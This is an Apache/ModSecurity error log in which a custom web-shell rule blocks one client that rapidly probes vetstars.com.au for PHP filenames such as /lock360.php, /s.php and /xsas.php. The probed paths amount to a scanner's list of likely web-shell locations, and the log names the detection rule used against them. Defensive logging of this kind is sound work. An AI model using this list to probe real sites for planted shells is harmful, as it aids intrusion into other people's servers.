[Wed Jan 21 04:34:19.274880 2026] [:error] [pid 21563:tid 21586] [client 4.194.217.214:10233] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aW_myxZq__dTorabEoyHHAAAANU"]
[Wed Jan 21 04:34:19.525174 2026] [:error] [pid 59863:tid 59880] [client 4.194.217.214:10158] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aW_my7HQ1zVZ4yLuI-zCKgAAAQ0"]
[Wed Jan 21 04:34:19.801941 2026] [:error] [pid 21563:tid 21584] [client 4.194.217.214:10155] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aW_myxZq__dTorabEoyHHQAAANM"]
[Wed Jan 21 04:34:20.125446 2026] [:error] [pid 21454:tid 21476] [client 4.194.217.214:10195] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aW_mzDwp5UZmMFzY2bpNpQAAAAw"]
[Wed Jan 21 04:34:20.512880 2026] [:error] [pid 21454:tid 21475] [client 4.194.217.214:10187] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aW_mzDwp5UZmMFzY2bpNpwAAAAs"]
[Wed Jan 21 04:34:20.763823 2026] [:error] [pid 21455:tid 21515] [client 4.194.217.214:10202] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aW_mzIpOKALCSo1URZE3EAAAAFg"]
[Wed Jan 21 04:34:20.975590 2026] [:error] [pid 21455:tid 21504] [client 4.194.217.214:10224] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qaez.php56"] [unique_id "aW_mzIpOKALCSo1URZE3EQAAAE0"]
[Wed Jan 21 04:34:21.242636 2026] [:error] [pid 21456:tid 21536] [client 4.194.217.214:10212] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qaez.php56"] [unique_id "aW_mzQKyVQ9Ob2YxRAp2igAAAJI"]
[Wed Jan 21 04:34:21.848023 2026] [:error] [pid 59863:tid 59878] [client 4.194.217.214:10200] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qaez.php56"] [unique_id "aW_mzbHQ1zVZ4yLuI-zCLAAAAQs"]
[Wed Jan 21 04:34:22.106791 2026] [:error] [pid 21456:tid 21529] [client 4.194.217.214:10175] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qaez.php56"] [unique_id "aW_mzgKyVQ9Ob2YxRAp2iwAAAIs"]
[Wed Jan 21 04:34:22.423126 2026] [:error] [pid 59863:tid 59881] [client 4.194.217.214:10149] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dox.php"] [unique_id "aW_mzrHQ1zVZ4yLuI-zCLgAAAQ4"]
[Wed Jan 21 04:34:22.676484 2026] [:error] [pid 59863:tid 59876] [client 4.194.217.214:10114] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dox.php"] [unique_id "aW_mzrHQ1zVZ4yLuI-zCLwAAAQk"]
[Wed Jan 21 04:34:22.902881 2026] [:error] [pid 59863:tid 59868] [client 4.194.217.214:10183] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dox.php"] [unique_id "aW_mzrHQ1zVZ4yLuI-zCMAAAAQE"]
[Wed Jan 21 04:34:23.145658 2026] [:error] [pid 59863:tid 59877] [client 4.194.217.214:10049] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dox.php"] [unique_id "aW_mz7HQ1zVZ4yLuI-zCMgAAAQo"]
[Wed Jan 21 04:34:23.358503 2026] [:error] [pid 21563:tid 21587] [client 4.194.217.214:10140] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aW_mzxZq__dTorabEoyHHgAAANY"]
[Wed Jan 21 04:34:23.657795 2026] [:error] [pid 21563:tid 21571] [client 4.194.217.214:10221] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aW_mzxZq__dTorabEoyHHwAAAMY"]
[Wed Jan 21 04:34:23.909564 2026] [:error] [pid 21456:tid 21535] [client 4.194.217.214:10126] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aW_mzwKyVQ9Ob2YxRAp2jQAAAJE"]
[Wed Jan 21 04:34:24.453844 2026] [:error] [pid 21563:tid 21583] [client 4.194.217.214:10146] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aW_m0BZq__dTorabEoyHIQAAANI"]
[Wed Jan 21 04:34:24.725151 2026] [:error] [pid 21455:tid 21495] [client 4.194.217.214:10239] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aW_m0IpOKALCSo1URZE3FAAAAEQ"]
[Wed Jan 21 04:34:25.041788 2026] [:error] [pid 21455:tid 21493] [client 4.194.217.214:10150] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aW_m0YpOKALCSo1URZE3FQAAAEI"]
[Wed Jan 21 04:34:25.328705 2026] [:error] [pid 21455:tid 21510] [client 4.194.217.214:10129] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aW_m0YpOKALCSo1URZE3FgAAAFM"]
[Wed Jan 21 04:34:25.625411 2026] [:error] [pid 59863:tid 59882] [client 4.194.217.214:10178] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aW_m0bHQ1zVZ4yLuI-zCNAAAAQ8"]
[Wed Jan 21 04:34:25.884072 2026] [:error] [pid 21455:tid 21506] [client 4.194.217.214:10113] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kUgr4yGzxN.php"] [unique_id "aW_m0YpOKALCSo1URZE3GAAAAE8"]
[Wed Jan 21 04:34:26.242404 2026] [:error] [pid 21563:tid 21581] [client 4.194.217.214:10210] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kUgr4yGzxN.php"] [unique_id "aW_m0hZq__dTorabEoyHJAAAANA"]
[Wed Jan 21 04:34:26.483897 2026] [:error] [pid 21455:tid 21511] [client 4.194.217.214:10238] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kUgr4yGzxN.php"] [unique_id "aW_m0opOKALCSo1URZE3GgAAAFQ"]
[Wed Jan 21 04:34:26.788300 2026] [:error] [pid 21455:tid 21500] [client 4.194.217.214:10138] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kUgr4yGzxN.php"] [unique_id "aW_m0opOKALCSo1URZE3GwAAAEk"]
[Wed Jan 21 04:34:27.072372 2026] [:error] [pid 59863:tid 59885] [client 4.194.217.214:10223] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aW_m07HQ1zVZ4yLuI-zCNgAAARI"]
[Wed Jan 21 04:34:27.316151 2026] [:error] [pid 21563:tid 21579] [client 4.194.217.214:10057] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aW_m0xZq__dTorabEoyHJQAAAM4"]
[Wed Jan 21 04:34:27.623419 2026] [:error] [pid 21563:tid 21576] [client 4.194.217.214:10123] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aW_m0xZq__dTorabEoyHJwAAAMs"]
[Wed Jan 21 04:34:28.008292 2026] [:error] [pid 59863:tid 59870] [client 4.194.217.214:10136] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aW_m1LHQ1zVZ4yLuI-zCNwAAAQM"]
[Wed Jan 21 04:34:28.296296 2026] [:error] [pid 59863:tid 59880] [client 4.194.217.214:10228] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aW_m1LHQ1zVZ4yLuI-zCOAAAAQ0"]
[Wed Jan 21 04:34:28.531808 2026] [:error] [pid 59863:tid 59889] [client 4.194.217.214:10144] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aW_m1LHQ1zVZ4yLuI-zCOQAAARY"]
[Wed Jan 21 04:34:28.816257 2026] [:error] [pid 59863:tid 59879] [client 4.194.217.214:10121] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aW_m1LHQ1zVZ4yLuI-zCOwAAAQw"]
[Wed Jan 21 04:34:29.046971 2026] [:error] [pid 59863:tid 59869] [client 4.194.217.214:10050] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aW_m1bHQ1zVZ4yLuI-zCPQAAAQI"]
[Wed Jan 21 04:34:29.302895 2026] [:error] [pid 59863:tid 59875] [client 4.194.217.214:10231] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "aW_m1bHQ1zVZ4yLuI-zCPgAAAQg"]
[Wed Jan 21 04:34:29.620484 2026] [:error] [pid 21563:tid 21588] [client 4.194.217.214:10216] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "aW_m1RZq__dTorabEoyHKQAAANc"]
[Wed Jan 21 04:34:29.809866 2026] [:error] [pid 59863:tid 59890] [client 4.194.217.214:10152] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "aW_m1bHQ1zVZ4yLuI-zCQwAAARc"]
[Wed Jan 21 04:34:30.155223 2026] [:error] [pid 21455:tid 21496] [client 4.194.217.214:10141] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "aW_m1opOKALCSo1URZE3HwAAAEU"]
[Wed Jan 21 04:34:30.895202 2026] [:error] [pid 59863:tid 59886] [client 4.194.217.214:10181] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/44.php"] [unique_id "aW_m1rHQ1zVZ4yLuI-zCTAAAARM"]
[Wed Jan 21 04:34:31.220238 2026] [:error] [pid 21563:tid 21566] [client 4.194.217.214:10009] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/44.php"] [unique_id "aW_m1xZq__dTorabEoyHLAAAAME"]
[Wed Jan 21 04:34:31.435207 2026] [:error] [pid 59863:tid 59869] [client 4.194.217.214:10196] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/44.php"] [unique_id "aW_m17HQ1zVZ4yLuI-zCUQAAAQI"]
[Wed Jan 21 04:34:31.654226 2026] [:error] [pid 21563:tid 21577] [client 4.194.217.214:10162] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/44.php"] [unique_id "aW_m1xZq__dTorabEoyHLQAAAMw"]
[Wed Jan 21 04:34:31.878869 2026] [:error] [pid 21563:tid 21589] [client 4.194.217.214:10073] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ii5file.php"] [unique_id "aW_m1xZq__dTorabEoyHLgAAANg"]
[Wed Jan 21 04:34:32.133372 2026] [:error] [pid 21563:tid 21586] [client 4.194.217.214:10128] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ii5file.php"] [unique_id "aW_m2BZq__dTorabEoyHLwAAANU"]
[Wed Jan 21 04:34:32.448318 2026] [:error] [pid 21455:tid 21514] [client 4.194.217.214:10168] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ii5file.php"] [unique_id "aW_m2IpOKALCSo1URZE3IQAAAFc"]
[Wed Jan 21 04:34:32.725089 2026] [:error] [pid 21456:tid 21525] [client 4.194.217.214:10139] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ii5file.php"] [unique_id "aW_m2AKyVQ9Ob2YxRAp2kAAAAIc"]
[Wed Jan 21 04:34:32.929067 2026] [:error] [pid 21456:tid 21541] [client 4.194.217.214:10164] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "aW_m2AKyVQ9Ob2YxRAp2kQAAAJc"]
[Wed Jan 21 04:34:33.247177 2026] [:error] [pid 21563:tid 21571] [client 4.194.217.214:10226] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "aW_m2RZq__dTorabEoyHMgAAAMY"]
[Wed Jan 21 04:34:33.472742 2026] [:error] [pid 21563:tid 21578] [client 4.194.217.214:10209] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "aW_m2RZq__dTorabEoyHMwAAAM0"]
[Wed Jan 21 04:34:33.674362 2026] [:error] [pid 21454:tid 21485] [client 4.194.217.214:10101] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "aW_m2Twp5UZmMFzY2bpNtQAAABU"]
[Wed Jan 21 04:34:33.870118 2026] [:error] [pid 21456:tid 21523] [client 4.194.217.214:10151] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aW_m2QKyVQ9Ob2YxRAp2kgAAAIU"]
[Wed Jan 21 04:34:34.062988 2026] [:error] [pid 21455:tid 21513] [client 4.194.217.214:10232] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aW_m2opOKALCSo1URZE3IgAAAFY"]
[Wed Jan 21 04:34:34.281917 2026] [:error] [pid 21455:tid 21502] [client 4.194.217.214:10219] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aW_m2opOKALCSo1URZE3IwAAAEs"]
[Wed Jan 21 04:34:34.474397 2026] [:error] [pid 21563:tid 21570] [client 4.194.217.214:10163] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aW_m2hZq__dTorabEoyHNgAAAMU"]
[Wed Jan 21 04:34:34.654071 2026] [:error] [pid 59863:tid 59877] [client 4.194.217.214:10120] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "aW_m2rHQ1zVZ4yLuI-zCawAAAQo"]
[Wed Jan 21 04:34:34.832004 2026] [:error] [pid 59863:tid 59867] [client 4.194.217.214:10065] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "aW_m2rHQ1zVZ4yLuI-zCbQAAAQA"]
